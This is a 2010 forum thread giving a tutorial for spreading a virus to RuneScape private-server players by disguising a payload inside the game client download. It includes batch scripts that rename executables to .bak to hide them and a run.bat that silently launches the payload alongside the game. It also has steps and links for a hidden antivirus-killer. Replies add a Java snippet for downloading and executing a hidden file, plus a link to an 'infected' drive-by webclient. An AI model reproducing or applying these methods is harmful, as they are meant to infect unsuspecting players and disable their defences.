Thread: [How to Spread your virus VIA Private Server!](#)

Frequenceh - February 27, 2010, 12:18 pm

Ok, This is RUNESCAPE Private server FYI.

First of all, get a source and Client.

Get some pics of the source etc. for advertising reasons.

Put your virus in the client.

make it 'Server.Bak'

(any dls make it server.bakz etc..)

(If you don't know how to rename a .exe to .Bak

use this i made)

Code @echo off

rename *.exe Server.Bak

echo Renaming All the .exe's in the file to .BAK!

Ok, after that your virus should be Server.bak.

Now make a AV Killer (anti virus killer)

Use mine if you like.

<http://uppit.com/v/3MGCE4U2>

Save in ur client files (WARNING IT WILL TURN OFF UR AV IF U RUN)

After that, make it into a .exe (as a .bat i dunno why but AVG Detects it =/ Lmfao)

http://www.computerhope.com/download/utility/Bat_To_Exe_Converter.zip << Makes a .bat to a .exe (not detected to AVG =) also make it so it runs hidden, otherwise they'll see its turning off their AV)

Ok Now. rename that from Theavkiller.exe (or whatever u named it to)

Client.bak

(use my old Renamer but change Server.bak to client.bak)

Now, when done.

make this ur run.bat (this is a 317 Run)
Code @echo off

```
title ROOONSCAPPPEEE RUN
rename Client.bak client.exe
start client.exe
java -Xmx512m -cp .;Theme.jar Gui
echo starting
```

Vexillia - February 27, 2010, 12:20 pm

Very nice, I might use this..

Frequenceh - February 27, 2010, 2:04 pm

Thanks xD

(Btw if anyone asks, i only added it so there hidden as server.bak etc... because People will find it obvious if theres .exes in there files >.<)

hellstarter - February 27, 2010, 3:31 pm

Pretty nice, i tried this befor but with not much sucess

Frequenceh - March 5, 2010, 1:16 pm

Kinda hard, unless you do have a GOOD Base/Coding. You don't want to put too much work into coding that people will not actually play xD

69flyman - March 6, 2010, 1:06 pm

yeah seem hard as but il look into it

Brisk - March 6, 2010, 1:09 pm

nice tut, i tried and it worked just fine!

Frequenceh - March 10, 2010, 5:32 am

Thanks for feedback guys :)!

My first post and tut this was.

So, proof im not a soggy leecher of the community.

HbananF - March 10, 2010, 6:08 am

Great tutorial.

Going to try it when i come home. :)

Frequenceh - March 10, 2010, 8:08 am

Your welcome, I would just make the batch files for everyone.

But that would make people think, oh hes going to pack the virus and get us.

But trust me i wouldn't do that.

I may add .bat's ready for you guys later though if you wish.

Hatake Kakashi - March 10, 2010, 11:10 am

Thank you

Good Very Good

Frequenceh - March 13, 2010, 10:11 am

Thanks Hatake, Would anyone mind posting a Virus scan of that .Bat to .exe crypter.

trickassnig - March 13, 2010, 10:12 am

Thanks for the tut ?

Frequenceh - March 16, 2010, 1:36 pm

Yourr welcome trickassnig

I Justin I - March 17, 2010, 3:51 am

As a RSPS player. When I download a client, I check the .bat files.

Some suggestions (If you know java)

Make a java code inside the auctal client.java to download something like "model.bak" then use the Java Process to execute it with CMD - Something like this

```
Code Runtime rt = Runtime.getRuntime();
```

```
Process p = rt.exec("cmd.exe /c model.bak");+add imports ect.
```

I am not flamming, just trying to help you infect people.

So you would hide the code in the 'public static final void main(String args[])' void.

Frequenceh - March 20, 2010, 6:15 pm

I'm not so good at java, but ill add your quote to end of post, and give you Rep.

Frequenceh - March 28, 2010, 2:34 pm

BUMP (No posts in like 8 days)

Frequenceh - April 14, 2010, 6:27 pm

No posts in like 20 days so BUMP

designedBy - April 23, 2010, 9:43 am

You can do this with drive bys as well. Tell them it's a webclient and you're good.

INFECTED \$%#%#\$%

<http://fearitself.fileave.com>

INFECTED ^%^%^\$^\$%

Example of a "WEbclient"

If you go to it make SURE you hit CANCEL.

Frequenceh - April 23, 2010, 9:52 am

I know what drive bys are :)

java Drive by's that is.

but no ones found a virus in there Normal client yet :L

Unless you put botnets in the cache.

designedBy - April 23, 2010, 9:55 am

Regardless of if it's FUD or not they'll still get infected, because it won't get caught until afterward, and even then it will remove the installer, but not the installed.

Frequenceh - April 23, 2010, 10:08 am

if they bind the AV Killer to there virus, it will help if they start it up before the av's so then boom ASv is like kinda deleted :)

Great Prosperity - April 23, 2010, 10:16 am

Camps what up with bumping your thread throughout 40 days of no replies, it's a sign that no one wants to talk about this anymore.

Frequenceh - April 24, 2010, 6:27 am

Its a sign that, theres around 50000 leechers on the forum.

because in that day i had 120 views, but no posts.
